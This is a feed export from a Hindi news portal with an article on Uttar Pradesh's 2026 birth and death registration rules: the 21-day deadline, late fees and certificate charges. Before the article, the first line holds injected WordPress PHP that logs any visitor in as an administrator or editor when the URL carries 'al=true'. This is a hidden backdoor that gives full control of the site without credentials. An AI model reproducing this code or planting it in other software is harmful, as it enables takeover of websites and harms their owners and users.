// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); certificate process – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 22 Jun 2026 05:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 उत्तर प्रदेश में जन्म-मृत्यु पंजीकरण नियम 2026 लागू, 21 दिन के भीतर सूचना देना अनिवार्य https://pratyushaashakinayikiran.com/?p=228591 Mon, 22 Jun 2026 05:05:00 +0000 https://pratyushaashakinayikiran.com/?p=228591 लखनऊ
उत्तर प्रदेश में जन्म और मृत्यु (Birth and Death) पंजीकरण को लेकर नई नियमावली लागू हो गई है। प्रदेश सरकार ने रजिस्ट्रेशन सिस्टम को अधिक पारदर्शी, डिजिटल और व्यवस्थित बनाने के लिए उत्तर प्रदेश जन्म एवं मृत्यु पंजीकरण नियमावली-2026 लागू कर दी गई है। चिकित्सा अनुभाग-7 द्वारा जारी अधिसूचना के अनुसार जन्म, मृत्यु अथवा मृत-जन्म की सूचना अब घटना के 21 दिन के भीतर देना अनिवार्य होगा। नई नियमावली के तहत जन्म या मृत्यु पंजीकरण के लिए 21 दिन के अंदर सूचना देना अनिवार्य कर दिया गया है।

जन्म के लिए 21 दिन बाद लेकिन 30 दिन के भीतर पंजीकरण कराने पर 20 रुपये विलंब शुल्क देना होगा। 30 दिन से एक वर्ष तक की देरी होने पर संबंधित अधिकारी की अनुमति के साथ 50 रुपये शुल्क लगेगा, जबकि एक वर्ष से अधिक विलंब होने पर एसडीएम, जिला मजिस्ट्रेट अथवा अधिकृत कार्यपालक मजिस्ट्रेट के आदेश पर 100 रुपये शुल्क देकर पंजीकरण कराया जा सकेगा।

सरकार ने यह भी स्पष्ट किया है कि जन्म प्रमाणपत्र में किसी प्रकार के संक्षिप्त नाम स्वीकार नहीं किए जाएंगे। जन्म और मृत्यु प्रमाणपत्र के लिए 50 रुपये शुल्क निर्धारित किया गया है। नई व्यवस्था में ऑनलाइन पंजीकरण, रिकॉर्ड के स्थायी संरक्षण, त्रुटि संशोधन और प्रमाणपत्र जारी करने की प्रक्रिया को भी अधिक सरल और पारदर्शी बनाया गया है।

क्यों जरूरी है जन्म या मृत्यु प्रमाण पत्र
शिशु के जन्म पर उसका पंजीकरण कराकर जन्म प्रमाण लेना और किसी व्यक्ति की मृत्यु पर उसका पंजीकरण कराकर मृत्यु प्रमाण पत्र लेना बेहद जरूरी होता है। दरअसल, ये पंजीकरण ही परिवार में किसी नए सदस्य के आगमन या किसी सदस्य के प्रस्थान की अधिकारिक सूचना होते है। ये दोनों प्रमाण पत्र बुनियादी कानूनी दस्तावेज हैं।

जन्म प्रमाण पत्र (Birth Certificate) किसी व्यक्ति की पहचान, उम्र और नागरिकता पहला प्रमाण है। स्कूल में एडमिशन से लेकर नौकरी तक हर जगह इसकी जरूरत पड़ती है। वहीं मृत्यु प्रमाण पत्र (Death Certificate) कानूनी रूप से मृत्यु प्रमाणित करने, संपत्ति, बीमा या पेंशन आदि के दावों के लिए अनिवार्य होता है।

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